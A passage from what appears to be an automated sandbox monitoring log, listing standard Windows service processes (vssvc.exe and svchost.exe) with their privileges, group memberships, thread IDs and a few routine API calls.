AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 132 os_tid = 0x36c Thread: id = 133 os_tid = 0xb0 Thread: id = 134 os_tid = 0x534 Thread: id = 135 os_tid = 0xb94 Thread: id = 136 os_tid = 0x694 Process: id = "67" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x3e027000" os_pid = "0xb58" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "66" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:0005b8fe" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 137 os_tid = 0xb78 Thread: id = 138 os_tid = 0xb7c [0078.227] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xcadd60 | out: lpSystemTimeAsFileTime=0xcadd60*(dwLowDateTime=0x44d78950, dwHighDateTime=0x1d62774)) [0078.227] GetCurrentProcessId () returned 0xb58 [0078.227] GetCurrentThreadId () returned 0xb7c [0078.227] GetTickCount () returned 0x114a2f4 [0078.227] QueryPerformanceCounter (in: lpPerformanceCount=0xcadd68 | out: lpPerformanceCount=0xcadd68*=19790273577) returned 1 [0078.227] malloc (_Size=0x100) returned 0x338e80 Thread: id = 139 os_tid = 0xb68 Thread: id = 140 os_tid = 0xb8c Thread: id = 141 os_tid = 0xb5c Thread: id = 142 os_tid = 0x648 Thread: id = 143 os_tid = 0x488 Thread: id = 158 os_tid = 0x854 Thread: id = 168 os_tid = 0x618 Process: id = "68" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x972d000" os_pid = "0xc8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "67" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dde1" [0xc000000f], "LOCAL" [0x7] Thread: id = 144 os_tid = 0x344 Thread: id = 145 os_tid = 0x598 Thread: id = 146 os_tid = 0x768 Thread: id = 147 os_tid = 0x764 Thread: id = 148 os_tid = 0x758 Thread: id = 149 os_tid = 0x724 Thread: id = 150 os_tid = 0x718 Thread: id = 151 os_tid = 0x714 Thread: id = 152 os_tid = 0x630 Thread: id = 153 os_tid = 0x154 Thread: id = 154 os_tid = 0x150 Thread: id = 155 os_tid = 0x120 Thread: id = 156 os_tid = 0x118 Thread: id = 157 os_tid = 0xf0 Thread: id = 170 os_tid = 0xac0 Process: id = "69" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x3aa2d000" os_pid = "0xb6c" os_integrity_level = "0x4000" os_privileges = "0x60814080" monitor_reason = "rpc_server" parent_id = "67" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0005bc68" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 159 os_tid = 0x844 Thread: id = 160 os_tid = 0x734 Thread: id = 161 os_tid = 0x804 Thread: id = 162 os_tid = 0x70c Thread: id = 163 os_tid = 0x57c Thread: id = 164 os_tid = 0x640 Thread: id = 169 os_tid = 0xac8